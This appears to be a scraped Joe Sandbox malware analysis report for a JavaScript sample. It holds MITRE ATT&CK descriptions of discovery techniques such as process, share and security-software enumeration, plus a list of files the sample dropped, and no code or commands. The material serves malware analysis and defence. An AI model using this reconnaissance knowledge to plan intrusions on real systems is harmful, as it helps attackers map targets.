Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1460324287242413198.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\dc9e206e-07b0-4447-85b7-e2477cfe3835.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3632

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
1460324287242413198.js